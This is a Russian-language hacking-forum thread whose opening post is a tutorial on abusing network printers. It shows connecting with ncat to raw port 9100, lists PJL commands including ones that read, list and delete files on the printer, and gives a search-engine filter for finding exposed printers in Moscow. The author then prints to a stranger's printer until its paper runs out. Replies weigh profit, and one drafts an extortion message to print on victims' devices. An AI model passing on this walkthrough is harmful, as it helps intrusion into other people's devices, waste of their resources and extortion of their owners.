Загрузка...

Playing around with printers | Full analysis

Thread in Articles created by амбассадоркуни Aug 13, 2024. (bumped Nov 18, 2024) 833 views

  1. амбассадоркуни
    амбассадоркуни Topic starter Aug 13, 2024 скачивание... 109 Aug 23, 2023
    Привет, guest!

    Содержание
    • Подготовка
    • Подключаемся к принтеру
    • Вытворяем пакости
    • Как послать документ на печать?
    • Как массово искать принтеры ?

    Подготовка
    Для начала, нам нужно скачать Nmap:

    Качаем Nmap с официального сайта
    [IMG]
    Обязательно смотрим,что бы данная галочка у нас стояла!

    После установки,заходим в командную строку (Win+R и вписываем cmd)
    [IMG]
    Я покажу на примере своего принтера (HP LasetJet CP1525n)

    Для подключения к принтеру, нам нужно убедится что принтер подключен к интернету
    (на более свежих моделях можно выполнить подключение по WI-FI)
    Вписываем в командную строку команду ncat -v ,но для начала разберем что это значит:

    Команда ncat вызывает в действие саму программу,а параметр -v означает verboose mode (простыми словами,подробный вывод в консоль)

    Далее,нам нужно вписать IP адрес нашего принтера,его можно узнать на экранчике принтера,или зайдя в панель роутера. И добавить порт 9100

    Получается вот так:
    [IMG]
    Нажимаем Enter,
    [IMG]
    И как видим мы подключились,а на принтере один раз моргнула лампочка
    Вытворяем Пакости
    Для начала,давайте узнаем какие языки поддерживают принтеры:
    Принтеры поддерживают несколько языков, PJL (Printer Job Language) PostScript и PCL (Printer Common Language)
    В данном случае я буду использовать PJL,вот большинство команд для принтера:
    HTML
    1. @PJL INFO ID- Запрашивает идентификационную информацию о принтере.



    2. @PJL INFO STATUS - Запрашивает текущий статус принтера.



    3. @PJL INFO VARIABLES - Запрашивает переменные, которые могут быть установлены на принтере.



    4. @PJL JOB - Начинает новое задание на принтере.



    5. @PJL EOJ - Завершает текущее задание на принтере.



    6. @PJL SET - Устанавливает переменные для текущего задания.



    7. @PJL DEFAULT - Восстанавливает переменные до их значений по умолчанию.



    8. @PJL USTATUS - Запрашивает пользовательский статус принтера.



    9. @PJL RDYMSG - Запрашивает сообщение готовности принтера.



    10. @PJL COMMENT - Добавляет комментарий в задание.



    11. @PJL ENTER LANGUAGE - Переключает принтер на другой язык описания задания, например PCL или PostScript.



    12. @PJL RESET - Сбрасывает принтер в начальное состояние.



    13. @PJL FSQUERY - Запрашивает файл с принтера.



    14. @PJL FSDELETE - Удаляет файл с принтера.



    15. @PJL FSDIRLIST- Запрашивает список файлов в директории принтера.


    Как послать документ на печать?
    1. Создаем файл​
    2. Вписываем текст (или можно фотку например)​
    3. И вписываем данную команду:​

    C
    ncat -v айпи < (символ < обязателен! и тут файл) C:\123.txt


    И как видим,все отправилось!
    [IMG]

    Как массово искать принтеры?
    Заходим на данный сервис и вписываем такой фильтр: device:"printer" +port:9100 +city:(тут город,я впишу moscow)

    [IMG]


    И видим адреса!

    Давайте попробуем подключится,и отправить наш документ!

    [IMG]
    Только что мы потратили всю бумагу у принтера :)


    guest Спасибо что прочитал мою статью :3
     
    This article was useful for you?
    You can thank the author of the topic by transferring funds to your balance
    Thank the author
  2. COLDVISIONS
    COLDVISIONS Aug 13, 2024 Статус не продается 3764 Jan 12, 2022
    Пакостник
     
  3. exepert
    exepert Aug 13, 2024 Оплачу :hamster: вашу покупку 5396 Nov 25, 2018
    ждём статью о том что можно сделать на 3D принтере
     
    1. амбассадоркуни Topic starter
      exepert, пока нету 3D принтера,но я думаю такие лазейки и на нем есть!
  4. Lacorner
    Lacorner Aug 13, 2024 2 Oct 6, 2022
    Если принтер подключается по кабелю, то тогда не выйдет ничего?
     
    1. амбассадоркуни Topic starter
      Lacorner, думаю выйдет,но смысл от этого?
  5. scraizis
    scraizis Aug 14, 2024 25 Dec 28, 2023
    Там же одним пакетом только 1 задание
     
    1. амбассадоркуни Topic starter
      scraizis, ну да,но символов в этом пакете ты можешь до 128 мб отправить,оно же все не поместиться на одну страницу
  6. sexillion
    Это чисто пошкодить или профиты можно какие-то придумать отсюда?
     
    1. View previous comments (3)
    2. scraizis
      амбассадоркуни, ну типа того) под предлогом того, что ты так же "можешь" взломать и все устройства в сети
    3. амбассадоркуни Topic starter
      scraizis, ну если он совсем дурачок то можно
    4. scraizis
  7. Reydar
    Reydar Aug 14, 2024 55 Oct 30, 2023
    Меня пугают способы использования этого метода ._.
    А я, как человек с хорошей фантазией, уже придумал несколько способов ._.
     
    1. амбассадоркуни Topic starter
    2. Reydar
      амбассадоркуни, один из простейших - текст: "мы смогли взломать твое устройство. Переведи #$ на #, чтобы мы забыли о тебе и не распространяли твою информацию". Почему мне в голову всегда лезет противозаконный мусор?!
  8. IvanZher
    IvanZher Aug 14, 2024 Deixa Chapar | 5432 34 Nov 1, 2021
Top
Loading...